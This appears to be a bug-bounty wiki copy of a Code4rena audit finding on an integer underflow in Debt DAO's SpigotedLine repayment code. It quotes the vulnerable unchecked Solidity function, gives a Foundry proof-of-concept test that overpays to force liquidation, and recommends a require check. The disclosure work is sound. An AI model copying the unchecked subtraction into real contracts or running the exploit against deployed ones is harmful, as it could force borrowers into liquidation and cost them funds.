Repaying a line of credit with a higher than necessary claimed revenue amount will force the borrower into liquidation
The repay function in a smart contract underflows the principal when the repayment amount exceeds the principal plus interest, setting it to a very large number. This forces the credit line into immediate liquidation and makes repayment extremely expensive.
berndartmueller Follow with Trust, hansfriese and 4 others
Originally disclosed on Code4rena
Submitted by berndartmueller, also found by Trust, hansfriese, adriro, 0xdeadbeef0x, aphak5010, and rvierdiiev
A borrower can repay (parts) of a credit line with the SpigotedLine.useAndRepay function. This function will use amount of unusedTokens[credit.token] as a repayment. However, if amount exceeds the principal and the accrued interest, credit.principal will underflow without an error and set the principal value to a very large number.
This a problem because a borrower can unknowingly provide a larger than necessary amount to the SpigotedLine.useAndRepay function to make sure enough funds are used to fully repay the principal and the remaining interest.
Additionally, a lender can do the same thing as the lender can call this function.
Impact
The credit.principal underflows without an error and will be set to a very large number. This will force a secured line immediately into liquidation. Additionally, having a principal value close to 2^256 - 1 will make it hugely expensive to repay the credit line.
Proof of Concept
function repay(
ILineOfCredit.Credit memory credit,
bytes32 id,
uint256 amount
)
external
returns (ILineOfCredit.Credit memory)
{ unchecked {
if (amount <= credit.interestAccrued) {
credit.interestAccrued -= amount;
credit.interestRepaid += amount;
emit RepayInterest(id, amount);
return credit;
} else {
uint256 interest = credit.interestAccrued;
uint256 principalPayment = amount - interest;
// update individual credit line denominated in token
credit.principal -= principalPayment; // @audit-info potential underflow without an error due to the unchecked block
credit.interestRepaid += interest;
credit.interestAccrued = 0;
emit RepayInterest(id, interest);
emit RepayPrincipal(id, principalPayment);
return credit;
}
} }
To demonstrate the issue, copy the following test case and paste it into the SpigotedLine.t.sol test file. Then run forge test --match-test "test_lender_use_and_repay_underflow".
Following scenario causes the repayment to underflow:
- Borrower borrows
1 etherofrevenueToken 2 etherworth ofrevenueTokenis claimed and traded from the revenue contract- Use all of the previously claimed funds (
2 ether) to repay the line of credit (=1 ether) credit.principalunderflows due toprincipalPaymentis larger thancredit.principal
function test_lender_use_and_repay_underflow() public {
uint256 largeRevenueAmount = lentAmount * 2;
deal(address(lender), lentAmount + 1 ether);
deal(address(revenueToken), MAX_REVENUE);
address revenueC = address(0xbeef); // need new spigot for testing
bytes32 id = _createCredit(address(revenueToken), Denominations.ETH, revenueC);
// 1. Borrow lentAmount = 1 ether
_borrow(id, lentAmount);
// 2. Claim and trade largeRevenueAmount = 2 ether (revenue)
bytes memory tradeData = abi.encodeWithSignature(
'trade(address,address,uint256,uint256)',
address(revenueToken),
Denominations.ETH,
1 gwei,
largeRevenueAmount
);
hoax(borrower);
line.claimAndTrade(address(revenueToken), tradeData);
(, uint256 principalBeforeRepaying,,,,,) = line.credits(line.ids(0));
assertEq(principalBeforeRepaying, lentAmount);
// 3. Use and repay debt with previously claimed and traded revenue (largeRevenueAmount = 2 ether)
vm.prank(lender);
line.useAndRepay(largeRevenueAmount);
(, uint256 _principal,,,,,) = line.credits(line.ids(0));
uint256 underflowedPrincipal = principalBeforeRepaying;
unchecked {
underflowedPrincipal -= (largeRevenueAmount);
}
// 4. Principal underflowed
assertEq(_principal, underflowedPrincipal);
}
Recommended Mitigation Steps
Consider asserting amount is less or equal than credit.principal + credit.interestAccrued (require(amount <= credit.principal + credit.interestAccrued);). Similar as how it is done in LineOfCredit.depositAndRepay()
kibagateaux (Debt DAO) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The repayment calculation is inside an unchecked block, so subtracting a payment larger than the principal causes an integer underflow without reverting.
Impact
The credit line is immediately forced into liquidation and the principal becomes so large that repaying it is hugely expensive.
What the attacker needed
A credit line with a borrower; borrower or lender calls useAndRepay; repayment amount exceeds principal plus interest
The fix
The fix is to add a check that the repayment amount does not exceed the principal plus accrued interest, similar to the check in depositAndRepay.
How it was found
- Borrow 1 ether of revenueToken.
- Claim and trade 2 ether worth of revenueToken from the revenue contract.
- Use the claimed 2 ether to repay the line of credit.
- The principal underflows because the payment exceeds the principal.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a smart contract, numbers have a maximum value. If you subtract more than you have, the result wraps around to a huge number instead of showing an error. Here, repaying too much made the debt appear enormous, which triggered liquidation.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.